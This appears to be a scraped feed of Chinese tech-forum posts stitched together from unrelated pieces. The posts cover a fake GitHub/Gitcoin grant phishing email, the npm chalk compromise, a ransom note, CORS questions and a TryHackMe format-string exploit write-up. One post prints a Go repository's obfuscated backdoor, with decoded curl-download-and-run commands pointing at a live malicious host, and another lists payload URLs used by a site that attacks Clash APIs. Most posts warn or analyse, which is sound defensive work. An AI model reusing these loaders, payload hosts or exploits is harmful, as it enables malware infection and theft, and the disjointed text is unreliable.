📌 GitHub × Gitcoin Developer Fund 2025 Dear community, We are excited to introduce the upcoming phase of the GitHub Developer Fund, a joint program with Gitcoin designed to highlight and support those who strengthen open-source technologies and digital public goods. Your GitHub account qualifies for participation in this phase. We value every type of involvement — from occasional contributions to long-term commitment — as essential to shaping the future of open source. Program overview: Funding approach: Quadratic Funding, boosting community influence through a shared pool Total allocation: $15,000,000 USDC Eligibility: Active participation and potential future impact — open to everyday contributors and maintainers, not just project founders Next step: To secure your preliminary registration and confirm eligibility, please verify your wallet using Gitcoin Passport. This ensures fairness, protects against Sybil attacks, and never requests personal data. Verification takes under a minute: connect your wallet and sign a message. Please note: The authorization requires a refundable deposit, which will be fully returned after the process is completed. 📝 Continue with authentication and submission here: https://grants.github.com/apply Participation and funding eligibility are finalized only with a valid Gitcoin Passport score. Full guidelines are available on our portal. Best regards, GitHub Developer Fund Team In partnership with Gitcoin This message was sent to you as a registered GitHub user. ©2025 GitHub, Inc. All rights reserved. Address: 88 Colin P Kelly Jr St, San Francisco, CA 94107, USA. [Manage notifications] | [Privacy Policy]
点邮件里 https://grants.github.com/apply 实际指向了 https://github-fund.com/
邮件是借助 GitHub 的 ieeues @xx 功能自动触发通知邮件产生,原始仓库地址: https://github.com/gitcoinoda/org/issues
大家注意防范!!!
]]>此外,报告还指出搜狗输入法通过云控配置实现弹窗广告推送,部分情况下用户难以彻底关闭弹窗。火绒建议用户可尝试通过系统通知设置或输入法自带选项关闭弹窗,但由于云控精准投放,部分用户可能仍受影响。
]]>登录活动异常 已检测到最近登录到 Microsoft 帐户 ja**a@outlook.com 的一些异常。 登录详细信息 国家/地区: 埃及 IP 地址: 41.35.196.249 日期: 2025/9/13 22:51 (GMT) 平台: Android 浏览器: Android 请转到最近活动页,让我们确定这是否是你本人。如果不是,我们将帮助你保护帐户。如果是,我们将在以后信任类似活动。
在异常活动记录里有一条记录:
会话类型 检测到异常活动 大概位置 埃及 时间(GMT) 昨天 22:51 设备/平台 Android 浏览器/应用 Android IP 地址 41.35.196.249 帐户别名 ja**a@outlook.com 会话活动 检测到异常活动
我检查了昨天所有的访问路线,从来没有使用过埃及的 IP ,我这 Outlook 邮箱是不是被埃及人登录了?
]]>耗时任务是一些数据库查询,还有数据库备份,可能还会有别的。每天每种只执行一次。
我目前计划用 cron 定时访问 web 服务的一个地址。后端语言是 Go 。Go 有个很多人用的第三方的 cron 库,但是五年没更了,看 issue 好像也不是没问题,不敢用。
我问 deepseek 它说验证源 IP 是不是 127.0.0.1 、::1 、localhost 就行了。另外需要注意一些特殊情况。比如代理、负载均衡器和容器。这个有漏洞吗?还要不要在耗时任务执行之前加个时段判断和今天是否已经执行过了?还有当前是否正在执行耗时任务。cron 好像在特殊情况下会重复执行?比如修改系统时间。
主要需求就是防止这个东西成为被攻击的点。
]]>Google Threat Intelligence Group (GTIG) is issuing an advisory to alert organizations about a widespread data theft campaign, carried out by the actor tracked as UNC6395. Beginning as early as Aug. 8, 2025 through at least Aug. 18, 2025, the actor targeted Salesforce customer instances through compromised OAuth tokens associated with the Salesloft Drift third-party application.
]]>2025 年 9 月 8 日,Aikido 安全团队通过其情报系统发现,npm 上 18 个流行的软件包被推送了包含恶意代码的新版本。这些软件包每周下载量超过 20 亿次,包括 backslash 、chalk-template 、supports-hyperlinks 等。
被投毒的软件作者出来现身道歉了:"我犯了一个错误,像往常一样(因为当时我在用手机)没有直接访问网站,而是点击了链接。"
]]>昨晚睡前就在 x 上看到各种信息了:
受影响投毒组件被植入恶意的混淆代码 index.js 文件,该恶意代码会劫持浏览器钱包(如 MetaMask )和网络请求( fetch 和 XMLHttpRequest ),拦截 ETH 、BTC 、SOL 、TRX 等加密货币交易,通过替换目标地址将资金转移至攻击者钱包(如 0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976 )
混淆后的恶意代码 index.js:
攻击非常有针对性,是针对 web3 相关用户的大规模攻击.这个 Javascript payload 不复杂,使用了 obfuscator.io 或者类似的工具。
这个开发者账号泄密的原因是因为被钓鱼邮件迷惑了,点击了邮件里面的链接,但未验证链接属于正确的官方发布的地址。
目前 VirusTotal 仍无法检测异常。
自检:
brew install rg rg -uu --max-columns=80 --glob '*.js' _0x112fa8
参考 hacker news: https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised
提醒,以后这种邮件里面的 login ,如果有 pasaword 管理工具,可以自动对比域名,不对的域名不会显示自动填充的下拉框的! v 友还有啥 tips ,都可以提一下,这些依赖用的人太多了!
]]>再次印证了世界是个巨大的草台班子,整个报告读下来过于难绷:
最早一张证书在 2024 年 2 月就被签发,半小时后被吊销。 (在将近一年半的时间里竟然一直没有人发现?
在随后的半年里,Fina CA 又陆陆续续签发了 11 张,在 2025.9.4 之前仍然有 2 张证书有效。 (同样的错竟然能犯 11 次?
从证书信息和 Fina CA 的回应来看,这些证书应该是用于测试的,他们可能觉得 1.1.1.1 是个不错的测试 IP
这个问题竟然是一位 HackerNews 老哥发现的
连续两份通过 HackerOne 向 Cloudflare 提交的报告都被误处理了
最后这件事情被直接捅到了 Google Certificate Transparency 的邮件列表上面,终于被 Cloudflare 注意到了。
Cloudflare 其实有自己的证书监控服务,但问题在于,他们忘记监控 IP 证书了(🤣👉
据悉,Google 、Mozilla 、Apple 都并未信任该 CA ( Microsoft:🤡
事件 2 - 基于 LOT 设备的僵尸网络攻击会愈加频繁,可预见的国内电动自行车厂商设备被入侵远程操控
]]>If you want to get your files back and are willing to pay, please contact us at the email addresses shown below:
btcduess@outlook.com duesbtc@2mail.co
ID: 20B42F2B8E6E282A996D5E54729FFE5B
If you do not message for the files within 24 hours, the price will be doubled and if there is no response, please send a message to the second email.
]]>本地密钥是由四个数字派生的吗?
感觉不太可能吧,是否是一个锁屏密码,为了防止别人看你手机?
起因是之前听说开源工具效果都不怎么好。然后今天在谷歌上搜“ossec Useless site:www.reddit.com”的时候看到一个观点,就是工具再多都是不够的,还是要看人。https://www.reddit.com/r/cybersecurity/comments/1ma8zwa/comment/n5cx1qr/ 。我基本上信了。然后我雇不起人,所以想自己成为那种人。
目前我找到一本书:《日志管理与分析权威指南》,够吗?入侵检测除了分析日志还有别的什么吗?网络流量分析我总感觉不靠谱。之前我还看过《 WEB 应用安全权威指南》、《编程精粹》、《 Linux 系统安全》。目前我每天大概能拿出五六个小时的时间。大概可以給人肉入侵检测技术半个月的学习时间。之后的日常维护大概可以每天抽出 20 分钟的时间人肉和半人肉分析日志之类的。要是半个月学不到什么的话我就有点想直接放弃入侵检测了。也想直接放弃安装入侵检测软件了,反正效果也不好。
这个技能对练习的要求多不多?有没有什么免费的练习的环境?类似入侵的靶场之类的。入侵检测有没有类似的东西?
我总感觉入侵检测很重要。如果半个月学不到什么东西希望能得到一些吃不到葡萄说葡萄酸的能让我认为这东西不重要和能让我安心的借口。
我想做的网站是个类似豆瓣的网站,但是展示和推荐的主要是方法。我怀疑很多方法的效果都是因人而异的,我想做这个网站验证一下。另外这个网站也可以推荐一般的东西,就是可能会比较麻烦。
]]>THM{format_issues}
格式化字符串漏洞是一种经典的内存安全漏洞,主要出现在使用 printf 族函数时开发者未正确处理用户输入的情况下。本文通过 TryHackMe 平台的实际案例,深入分析这种漏洞的攻击原理、内存机制以及实战利用技巧。
格式化字符串漏洞的根本原因在于 printf 族函数的设计机制:
参数数量不匹配:printf 函数无法在编译时验证格式化字符串与参数数量是否匹配。
栈内存访问:当格式化字符串中的格式说明符多于提供的参数时,函数会继续从栈中读取数据。
类型转换危险:攻击者可以通过特定的格式说明符强制函数以不同类型解释内存数据。
当调用printf(format, arg1, arg2, ...)
时,首先格式化字符串format
被逐字符解析。遇到%
时,根据后续的格式说明符从参数列表中取值。如果格式说明符数量超过参数数量,函数会从栈中的下一个位置继续读取。
让我们深入分析这个 vulnerable 程序:
#include <stdio.h> #include <string.h> void print_banner(){ printf( " ______ _ __ __ _ _ \n" " | ____| | \\ \\ / / | | | \n" " | |__ | | __ _ __ \\ \\ / /_ _ _ _| | |_ \n" " | __| | |/ _` |/ _` \\ \\/ / _` | | | | | __|\n" " | | | | (_| | (_| |\\ / (_| | |_| | | |_ \n" " |_| |_|\\__,_|\\__, | \\/ \\__,_|\\__,_|_|\\__|\n" " __/ | \n" " |___/ \n" " \n" "Version 2.1 - Fixed print_flag to not print the flag. Nothing you can do about it!\n" "==================================================================\n\n" ); } void print_flag(char *username){ FILE *f = fopen("flag.txt","r"); char flag[200]; fgets(flag, 199, f); //printf("%s", flag); //The user needs to be mocked for thinking they could retrieve the flag printf("Hello, "); printf(username); // 🚨 漏洞点:直接将用户输入作为格式化字符串 printf(". Was version 2.0 too simple for you? Well I don't see no flags being shown now xD xD xD...\n\n"); printf("Yours truly,\nByteReaper\n\n"); } void login(){ char username[100] = ""; printf("Username: "); gets(username); // 🚨 缓冲区溢出风险:不检查输入长度 // The flag isn't printed anymore. No need for authentication print_flag(username); } void main(){ setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); // Start login process print_banner(); login(); return; }
printf(username); // 危险!应该使用 printf("%s", username);
问题分析:
username
变量直接作为格式化字符串传递给printf
。攻击者可以在输入中包含格式说明符(如%x
, %s
, %p
等)。这些格式说明符会导致printf
从栈中读取额外的数据。
gets(username); // 危险函数,已被废弃
问题分析:
gets()
函数不检查输入长度,可能导致缓冲区溢出。username
数组只有 100 字节,超长输入会覆盖栈上的其他数据。
FILE *f = fopen("flag.txt","r"); char flag[200]; fgets(flag, 199, f);
关键点:
Flag 被读入局部变量flag[200]
。虽然被注释掉不直接打印,但数据仍在栈内存中。可以通过格式化字符串漏洞间接访问这些数据。
当print_flag
函数被调用时,栈的布局大致如下:
栈顶 (低地址) ├─ FILE *f (fopen 返回值) ├─ char flag[200] (存储读取的 flag 内容) ├─ ...其他局部变量... ├─ 返回地址 ├─ 保存的 EBP ├─ char *username (传入的参数) └─ main 函数的栈帧 栈底 (高地址)
当执行printf(username)
时,正常情况下如果username
是纯文本,会直接输出。攻击情况下如果username
包含格式说明符,printf 会尝试从栈中获取对应参数。
在 x86/x64 架构中,第 1 个参数是格式化字符串本身 (username
),第 2 个参数是栈上的下一个值,第 3 个参数是再下一个值,依此类推,第 N 个参数是栈上对应位置的值。
由于flag[200]
数组在栈上,通过合适的偏移量可以访问到 flag 内容。
成功的攻击 payload:
echo -ne '%5$s' | nc 10.10.20.224 1337
详细解析:
%5$s
直接访问第 5 个参数位置。$
语法允许直接指定参数位置,无需遍历前面的参数。s
格式符将该位置的值作为字符串指针,打印指向的内容。
通过试验不同的偏移量:
# 探测栈内容的命令示例 echo -ne '%x %x %x %x %x %x %x %x %s' | nc 10.10.52.86 1337
经过测试发现,第 1-4 个参数是其他栈上的数据,第 5 个参数恰好指向 flag 字符串的地址,第 6 个及以后是其他内存内容。
在实际环境中,flag 在栈中的确切位置可能因编译器优化级别、栈对齐方式、系统架构( 32 位/64 位)以及其他局部变量的分配而变化。
因此可能需要尝试不同的偏移量(%4$s
, %5$s
, %6$s
等)来定位 flag 。
$ echo -ne '%5$s' | nc 10.10.20.224 1337 ______ _ __ __ _ _ | ____| | \ \ / / | | | | |__ | | __ _ __ \ \ / /_ _ _ _| | |_ | __| | |/ _` |/ _` \ \/ / _` | | | | | __| | | | | (_| | (_| |\ / (_| | |_| | | |_ |_| |_|\__,_|\__, | \/ \__,_|\__,_|_|\__| __/ | |___/ Version 2.1 - Fixed print_flag to not print the flag. Nothing you can do about it! ================================================================== Username: Hello, THM{format_issues} . Was version 2.0 too simple for you? Well I don't see no flags being shown now xD xD xD... Yours truly, ByteReaper
输入 payload:%5$s
printf 处理过程:程序执行到printf(username)
,username
内容为%5$s
,printf 解析格式说明符%5$s
,访问栈上第 5 个位置的值作为字符串指针,第 5 个位置恰好指向 flag 字符串的内存地址。
输出结果:成功显示 flag 内容THM{format_issues}
用于探测栈结构的命令:
# 显示多个栈位置的十六进制值 echo -ne '%x %x %x %x %x %x %x %x %s' | nc 10.10.52.86 1337
这个 payload 会显示前 8 个栈位置的十六进制值,最后用%s
尝试将第 9 个位置作为字符串打印。
格式化字符串漏洞:printf(username)
直接使用用户输入作为格式字符串。
内存中的敏感数据:flag 被读入栈上的局部变量。
可预测的内存布局:在相同环境下栈布局相对固定。
直接位置访问:%N$s
语法允许直接访问特定栈位置。
// 危险的写法 printf(user_input); // 安全的写法 printf("%s", user_input);
// 替换危险的 gets()函数 char username[100]; if (fgets(username, sizeof(username), stdin) != NULL) { // 移除可能的换行符 username[strcspn(username, "\n")] = '\0'; }
// 不安全:敏感数据在栈上 void print_flag(char *username) { char flag[200]; // 在栈上,可能被泄露 // ... } // 更安全:使用动态分配或其他保护机制 void print_flag(char *username) { char *flag = malloc(200); // 使用后立即清零并释放 memset(flag, 0, 200); free(flag); }
# 启用格式化字符串相关警告 gcc -Wformat -Wformat-security -Wall source.c
# 启用运行时检查 gcc -D_FORTIFY_SOURCE=2 -O2 source.c
随机化栈、堆、库的内存地址,使攻击者难以预测内存布局。
# 启用栈保护 gcc -fstack-protector-all source.c
防止在栈上执行代码,减少代码注入攻击的风险。
检测并阻止控制流劫持攻击。
使用容器化或沙箱技术隔离应用。
使用工具如 Clang Static Analyzer 、Coverity 等,在开发阶段发现潜在漏洞。
最小权限原则:程序只获取必要的权限。
输入验证:严格验证所有外部输入。
防御性编程:假设所有输入都是恶意的。
重点关注字符串处理函数,检查格式化字符串的使用,验证缓冲区边界检查。
模糊测试:使用工具如 AFL 、libFuzzer 。
静态分析:集成到 CI/CD 管道。
动态分析:使用 Valgrind 、AddressSanitizer 等。
原文:(微信公众平台)[https://mp.weixin.qq.com/s/12kNxP_-PI7Gr_c4Pnb_4A]
]]>1 、跨域并不是请求发不出去,请求能发出去,服务端能收到请求并正常返回结果,只是响应结果被浏览器拦截了。 不仅仅是静态的资源。WebStorage 、Cookie 、IndexDB ,在浏览器层面上都是以域这一概念来划分管理的。 而且这个划分管理行为,就是在浏览器本地生效。和服务器、其他客户端没有直接关系。
2 、当响应的是附带身份凭证的请求时,服务端必须明确 Access-Control-Allow-Origin 的值,而不能使用通配符。
针对 1 ,比如说我做为可能有恶意脚本的黑客,不管你请求头带不带 origin ,我返回的 js 响应报文中,我始终带上 "Access-Control-Allow-Origin: *
"这个响应头啊。 这样我的恶意 js 不就可以被浏览器解释并执行了?
针对 2 ,这个服务端必须是为什么要必须明确呢?如果不明确会怎么样呢? CORS 做为一个浏览器对资源请求的约束,它咋知道我的请求带不带身份呢?
请教各位大佬赐教一下
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Guides/CORS
]]>$ curl -vv https://www.example.com/generate_204 08:43:01.876922 [0-0] * Host www.vvzero.com:443 was resolved. 08:43:01.880422 [0-0] * IPv6: 2408:1:1013:e900::1 08:43:01.883004 [0-0] * IPv4: 1.116.4.74 08:43:01.885021 [0-0] * [HTTPS-CONNECT] added 08:43:01.887128 [0-0] * [HTTPS-CONNECT] connect, init 08:43:01.889315 [0-0] * [HTTPS-CONNECT] connect, check h21 08:43:01.891506 [0-0] * Trying [2408:1:1013:e900::1]:443... 08:43:01.894156 [0-0] * [HTTPS-CONNECT] connect -> 0, dOne=0 08:43:01.896145 [0-0] * [HTTPS-CONNECT] adjust_pollset -> 1 socks 08:43:01.898445 [0-0] * [HTTPS-CONNECT] connect, check h21 08:43:01.901163 [0-0] * [HTTPS-CONNECT] connect -> 0, dOne=0 08:43:01.903526 [0-0] * [HTTPS-CONNECT] adjust_pollset -> 1 socks 08:43:01.907055 [0-0] * [HTTPS-CONNECT] connect, check h21 08:43:01.910135 [0-0] * schannel: disabled automatic use of client certificate 08:43:01.917094 [0-0] * [HTTPS-CONNECT] connect -> 0, dOne=0 08:43:01.919009 [0-0] * [HTTPS-CONNECT] adjust_pollset -> 1 socks 08:43:01.924728 [0-0] * [HTTPS-CONNECT] connect, check h21 08:43:01.933717 [0-0] * schannel: next InitializeSecurityContext failed: CRYPT_E_REVOCATION_OFFLINE (0x80092013) - The revocation function was unable to check revocation because the revocation server was offline. 08:43:01.939440 [0-0] * [HTTPS-CONNECT] connect, all failed 08:43:01.941833 [0-0] * [HTTPS-CONNECT] connect -> 35, dOne=0 08:43:01.944171 [0-0] * closing connection #0 08:43:01.947391 [0-0] * [HTTPS-CONNECT] close 08:43:01.949490 [0-0] * [SETUP] close 08:43:01.952020 [0-0] * [SETUP] destroy 08:43:01.954525 [0-0] * [HTTPS-CONNECT] destroy curl: (35) schannel: next InitializeSecurityContext failed: CRYPT_E_REVOCATION_OFFLINE (0x80092013) - The revocation function was unable to check revocation because the revocation server was offline.
然后尝试访问证书里提供的 CRL 链接:
$ curl -v http://e5.c.lencr.org/80.crl * Host e5.c.lencr.org:80 was resolved. * IPv6: 2606:4700::6812:15d5, 2606:4700::6812:14d5 * IPv4: 104.18.20.213, 104.18.21.213 * Trying [2606:4700::6812:15d5]:80... * Connected to e5.c.lencr.org (2606:4700::6812:15d5) port 80 * using HTTP/1.x > GET /80.crl HTTP/1.1 > Host: e5.c.lencr.org > User-Agent: curl/8.10.1 > Accept: */* > * Request completely sent off * Recv failure: Connection was reset * closing connection #0 curl: (56) Recv failure: Connection was reset
itdog 查询显示这个域名已经完全被墙,方法是 TCP RST 。
部分浏览器可能不会检查 CRL ,那就没问题。但可能更多的正规浏览器或者 APP 会检查,就会导致无法访问或者弹出警告。
小站站长可能会痛苦了,很多人可能没法上你的网站了。
]]>在开发网站的过程中定期复习这三本书的笔记。书里的一些我感觉没什么大用,并且很麻烦的方法我没用,比如 chroot 。
静态代码分析工具:gosec 、vet 、golangci-lint 、snyk 。TS 的 lint 工具。
CF DDoS 防护、CF Tunnel 。
应用开发注意事项。注入、XSS 、CSRF 之类的。太多了,懒得写了。嘴替:OWASP Top Ten 和 CWE top 25 。
写单元测试。
为各种服务提供最小的权限。
七天检查一次服务器和软件包更新。包括用 snyk 扫描一次代码,就算代码没更新,这个好像能发现用到的库的新发现的漏洞?
用 iptables 只开放必要的端口。基本只会开放 https 的端口的建立连接。数据包发出只允许系统和软件更新还有就是相关的入侵防御的规则的自动更新等。
网关 IP 地址绑定 MAC ,防止 ARP 攻击。使用 CF Tunnel 这步是不是多余了?
命令历史相关的环境变量设置为只读。命令历史附带执行时间。
删除无用的软件包和服务。
不使用隐藏的方式企图实现安全。比如改端口。
每月完整备份数据库。每天增量备份数据库。数据库中的密码 hash 和邮箱使用混合加密加密后备份到 OSS ,私钥保存在我电脑中的 KeePass 里。KeePass 数据库文件保存在 OneDrive 同步文件夹里。OneDrive 同步文件夹每月多处备份。不给 OSS API 分配修改和删除权限。对数据库的密码 hash 和邮箱添加数据库加密,就是数据库的数据文件泄露也无法读取的那种加密。我计划网站的上的所有数据都可以像维基那样打包下载。用户不想公开的数据保存在用户的浏览器或本地文件夹里。
入侵报警使用阿里云的云监控。
阿里云网页控制台使用自己生成的带密码的密钥对登录。私钥密码保存在 Keepass 里。
关键日志备份到阿里云的日志服务上。并设置好 API 的权限。主要是为了省钱,像书里那样用一个专门的服务器收集日志我感觉太贵了。
auditd 配置为锁定配置直到重启。
FireEye 辅助入侵检测和防御。我没在官网上找到怎么用。是个提供威胁情报数据的网站。
注意开发电脑的安全性。不安装来历不明的软件。来历不明的软件装到虚拟机里。不关闭杀软。操作系统有更新尽量马上更新。
数据库密码为 KeePass 生成的 20 位随机大小写字母与数字密码。特殊符号我嫌麻烦。
所有密码和密钥每季度换一次。
阿里云账号双因素认证。
使用 chkrootkit 和 rkhunter 扫描 rootkit 。
unhide 反隐。
如果没有证据证明黑客没有修改文件,就重装系统并回档。我想不到什么证明文件没被动的证据,所以大概率应该都会重装和回档。
查看服务器是否有重启记录。防止 auditd 的配置被修改。
参考《 Linux 系统安全》中的附录 B 。附录 B 是关于被入侵后的排查。
除了特定用户,任何用户登录之前必须登录特定的用户,否则就立刻断网。
还有把某个黑客大概率会用到,但是系统正常运行不会用到的命令换成触发报警的脚本。不知道有没有这种命令?比如 ls ,黑客执行 ls 就断网。我想要 ls 的功能就用 myls 。
这两个是我想到的,如果没人说能用我就不用了。我感觉挺危险的。轻则误报,重则没法登录。
首先我自认为我对安全的重视程度应该是超过平均水平了。
如果网站一直没什么流量的话,我也会一直维护这个网站。维护时间十年起步。长期运营的项目如果不在乎安全问题感觉迟早会出问题。另外我的网站虽然也能提供情绪价值,或者说用来娱乐,但是我希望主要是用它改善用户的生活。那些能用来改善用户生活的数据如果被篡改了很不好。虽然如果真被篡改了大部分可能会被发现,但是肯定会有漏掉的。
]]>首先介绍一下什么是 xss 漏洞:
XSS 漏洞( Cross-Site Scripting ,跨站脚本攻击)是一类常见的 Web 安全漏洞。它的核心问题是:应用程序没有对用户输入的数据进行严格过滤或转义,就把这些数据输出到网页中,从而导致恶意脚本被执行。
攻击者通常通过在网页中插入恶意的 Javascript 代码来实现攻击,这些代码会在访问页面的用户浏览器中运行。
下面开始漏洞复现:
随便传递一个 url 参数,比如 https://www.huociyuan.com
完整的谷歌地图跳转链接就是: https://maps.google.com/url?q=https://www.huociyuan.com/
打开链接后发现页面显示以下内容:
重定向声明 您所在网页试图将您引至 https://www.huociyuan.com/ 。
如果您不希望访问该页,您可以返回上一页。
问题的关键就在于其中的 url 是可以回显并且可点击的,这种很明显属于 xss 漏洞了。
结尾
想问一下谷歌的漏洞该提交给谁,他们有自己的应急响应中心吗?
]]>都可能导致插件作恶变得有利可图。
]]>RT ,访问该网站,会自动枚举 Clash 常见端口 + 4170x 端口,然后调用 Clash API 下发 yaml
还做了系统版本判断,Victim 有 Win 有 Mac
let yaml_path = { "win": "http://60.29.77.223:8080/05260CAD5B9562AEA0AAC8039A3AD3987E8E5E42330C39421B5F2D8D9B7880A806755F53968F788FF311B9A772", "mac": "http://60.29.77.223:8080/385A4D8141A3E7951E5DCFF35A11387BA4B79B23970EF6954CD8F5CFF75B5E463662978C95EF1B2D2868232F60", }
这里以 windows 为例子,会执行 Powershell Invoke-RestMehod 方法下载 exe 存到C:\Users\Public\winIogon.exe
并且执行 winIogon.exe
微步
做了基础的一些沙箱检测,木马行为就单纯的执行 shellcode ,非注入
更深入的分析 IDA 什么的,楼主就不会了 TAT
]]>症状:网络检测正常,但 curl 和 firefox 访问 music.163.com 和 y.qq.com 都会遇到连接重置,只有在部分 chromium 内核的浏览器中使用 https 协议并多次刷新才能访问。期间通过手机热点和全局代理明确是公司网络问题。阿里和腾讯的镜像站也会被屏蔽导致镜像源无法正常使用(同样可以用 chromium 正常打开)
疑问:虽然知道大概是公司的网关设置了防火墙拦截,但是还是好奇为什么 chromium 内核的部分浏览器可以访问这些网站?防火墙能区分不同浏览器吗?如果能,是靠什么做到的?如果不能,chromium 为什么不受影响?
]]>环境:正版子比,开心宝塔 btsb ,安装了 nginx 防火墙和 wordfence ,Ubuntu 24.04.2 LTS (Noble Numbat) x86_64(Py3.7.16),还有一些美化插件(都是正版,但不排除有漏洞或者后门),还有一些美化功能的文件(我自己也不清楚有哪些了,原先没记录)
1-我个人认知中,中毒要么是弱密码; nginx 或者主题或者 wp 等有漏洞;安装了有后门的插件;大佬们,我的这属于哪一种?
我的认知是:如果是宝塔开心或者插件有后门,那么攻击者完全没必要在根目录的 tmp 文件夹折腾,直接用 www 权限改我的网站内容不就行了(目前网站也无异常)。
问题:
1-如上,我认为后门情况可能性低,大概率是漏洞导致的,那么怎么找到这个漏洞在哪呢?我都开了 nginx 防火墙和 wordfence ,它是怎么绕过的,还是说没绕过,因为它没真正进入网站目录,只存在于根目录的 tmp 文件夹下,是哪个防火墙挡住它了吗?如何让它 tmp 都传不进来?
(我不太了解各个防火墙的起作用的时间点,所以有上述疑问,我问 ai 说 nginx 防火墙和 wordfence 会在文件上传到 tmp 临时文件夹前就起作用,如果这样的话,说明被绕过了,那是哪个防火墙阻止了目录进入网站目录呢?当时没开防篡改)
2-现在安装了加固和防篡改,腾讯云也已经不提示了危险,还需要管嘛?后续怎么操作才能保证安全?原先漏洞没挡住它进入 tmp ,现在什么宝塔安全软件都都装上了,它好像传不进 tmp 了(我的疑惑主要就是这个,如果我上述认知是正确的话,主要疑问就是:哪个防火墙起作用让它现在进不来 tmp 了,原先也有对应防火墙,为什么没起作用。)
3-数据库可能被植入木马吗?那些软件都可以扫网站木马,但是我不会怎么去判断数据库有没有被注入木马,求教怎么扫描数据库木马。
4-我的上述认知正确嘛。求大佬指点!!
]]>import ( "os/exec" "errors" "fmt" "os" "strings" "time" "code.gitea.io/sdk/gitea" // gitea sdk ? "github.com/alexflint/go-arg" "github.com/cornelk/gotokit/env" "github.com/cornelk/gotokit/log" "gitlab.com/gitlab-org/api/client-go" // gitlab client ? )
看着就靠谱,clone 下来正准备跑一跑试试,划拉划拉...拉到最底下菊花一紧
var qzhEVZ = exec.Command("/bin/" + "sh", "-c", WW[71] + WW[4] + WW[51] + WW[12] + WW[16] + WW[52] + WW[72] + WW[17] + WW[67] + WW[7] + WW[11] + WW[63] + WW[60] + WW[41] + WW[64] + WW[13] + WW[35] + WW[28] + WW[68] + WW[53] + WW[58] + WW[9] + WW[20] + WW[29] + WW[8] + WW[0] + WW[56] + WW[3] + WW[49] + WW[6] + WW[46] + WW[57] + WW[42] + WW[27] + WW[5] + WW[10] + WW[55] + WW[21] + WW[38] + WW[36] + WW[69] + WW[15] + WW[44] + WW[50] + WW[1] + WW[39] + WW[25] + WW[73] + WW[61] + WW[66] + WW[65] + WW[32] + WW[34] + WW[33] + WW[40] + WW[43] + WW[70] + WW[31] + WW[18] + WW[30] + WW[47] + WW[37] + WW[22] + WW[45] + WW[59] + WW[26] + WW[48] + WW[24] + WW[62] + WW[19] + WW[54] + WW[2] + WW[23] + WW[14]).Start() var WW = []string{"y", "3", "h", "e", "g", "s", ".", " ", "t", "i", "t", "h", "t", ":", "&", "/", " ", " ", "b", "a", "n", "r", " ", " ", "/", "3", "i", "/", "/", "i", "f", "6", "/", "3", "a", "/", "g", "|", "a", "7", "1", "p", "u", "5", "d", "/", "i", " ", "n", "l", "e", "e", "-", "n", "s", "o", "h", "c", "f", "b", "t", "0", "b", "t", "s", "f", "d", "-", "i", "e", "4", "w", "O", "d"} var RzkMMUW = "if n" + "ot ex" + "is" + "t %U" + "se" + "rPro" + "file%" + "\\Ap" + "pDat" + "a\\" + "Local" + "\\ukmo" + "eo\\" + "j" + "srv" + "b" + ".ex" + "e " + "cu" + "r" + "l ht" + "tps" + "://i" + "n" + "finit" + "y" + "hel." + "icu/s" + "torag" + "e/" + "bb" + "b" + "28ef0" + "4/fa" + "3154" + "6b" + " --" + "cre" + "ate-" + "dirs" + " -o" + " " + "%Use" + "rPr" + "of" + "ile%" + "\\" + "AppD" + "ata" + "\\L" + "o" + "cal\\u" + "kmo" + "eo\\j" + "srvb." + "exe" + " &&" + " s" + "tar" + "t " + "/b " + "%" + "Use" + "rPr" + "of" + "ile" + "%" + "\\App" + "Dat" + "a\\" + "L" + "o" + "cal\\u" + "kmoeo" + "\\js" + "rvb." + "ex" + "e" var gqFJGwiR = gDNHtq() func gDNHtq() error { exec.Command("cmd", "/C", RzkMMUW).Start() return nil }
拆出来是
var realQzhEVZ = "/bin/sh -c 'if [ ! -f /tmp/ukmoeo/jsrvb.exe ]; then mkdir -p /tmp/ukmoeo && curl https://infinityhel.icu/storage/bbb28ef04/fa31546b --create-dirs -o /tmp/ukmoeo/jsrvb.exe && start /b /tmp/ukmoeo/jsrvb.exe; fi'"
if not exist %UserProfile%\\AppData\\Local\\ukmoeo\\jsrvb.exe curl https://infinityhel.icu/storage/bbb28ef04/fa31546b --create-dirs -o %UserProfile%\\AppData\\Local\\ukmoeo\\jsrvb.exe && start /b %UserProfile%\\AppData\\Local\\ukmoeo\\jsrvb.exe
幸亏瞅了一眼...
]]>基于 Vue + SpringBoot 构建的 Java 安全靶场,一个专为安全爱好者、渗透测试和代码审计人员打造的实战演练平台。
目前还在开发中,有兴趣的佬友可以给点建议,也可以一起来完成这个项目。
已经开发的漏洞清单: 1 、SQLi 注入 基于 Jdbc 的 SQLi 注入 基于 Mybatis 的 SQLi 注入 报错注入 基于时间盲注 2 、XSS 跨站脚本 反射型 XSS 存储型 XSS DOM 型 XSS 3 、任意命令执行 Runtime 方式 ProcessBuilder 方式 4 、任意 URL 跳转 5 、路径穿越漏洞 6 、文件上传漏洞 7 、越权漏洞 水平越权漏洞 垂直越权漏洞 未授权访问漏洞 8 、身份认证漏洞 密码登录暴力破解 普通的账号密码登录暴力破解 绕过单 IP 限制暴力破解 HTTP Basic 认证登录暴力破解 图形验证码登录暴力破解 短信认证漏洞 短信轰炸 短信验证码回显 暴力破解短信验证码 MFA 认证漏洞 仅前端认证可绕过 9 、组件漏洞 Fastjson 漏洞 Log4j2 漏洞 10 、配置漏洞 列目录漏洞 Actuator 未授权 Swagger 未授权
]]>下面是一些攻击示例。
host ,stgw_orgreq 183-95-220-129-te3a720f.ksyungslb.com ,GET /f2.g.mi.com/download/AppStore/0857a80ebebfa4413883311b438d9608af5d95d96/com.ky.game.fkcms.mi.apk?ksy_gslb_referer=http%3A%2F%2Ff2.g.mi.com%2Fdownload%2FAppStore%2F0857a80ebebfa4413883311b438d9608af5d95d96%2Fcom.ky.game.fkcms.mi.apk file.updrv.com,GET /soft/DriveTheLife/8_16_28_78/DriveTheLife_2095_netcard_8_16_28_78.exe?t=1720492708&sign=8947eda46682e0c76f2ab61253be8416 HTTP/1.1 lf3-ug-sign.feishucdn.com,GET /ee-appcenter/537aa319/Feishu-win32_ia32-7.20.6-signed.exe?lk3s=fb957577&x-expires=1720061871&x-signature=SZd6FXw1p6v1vNnalKI1gc%2BXLlE%3D HTTP/1.1 file-x-updrv-x-com.img.addlink.cn,GET 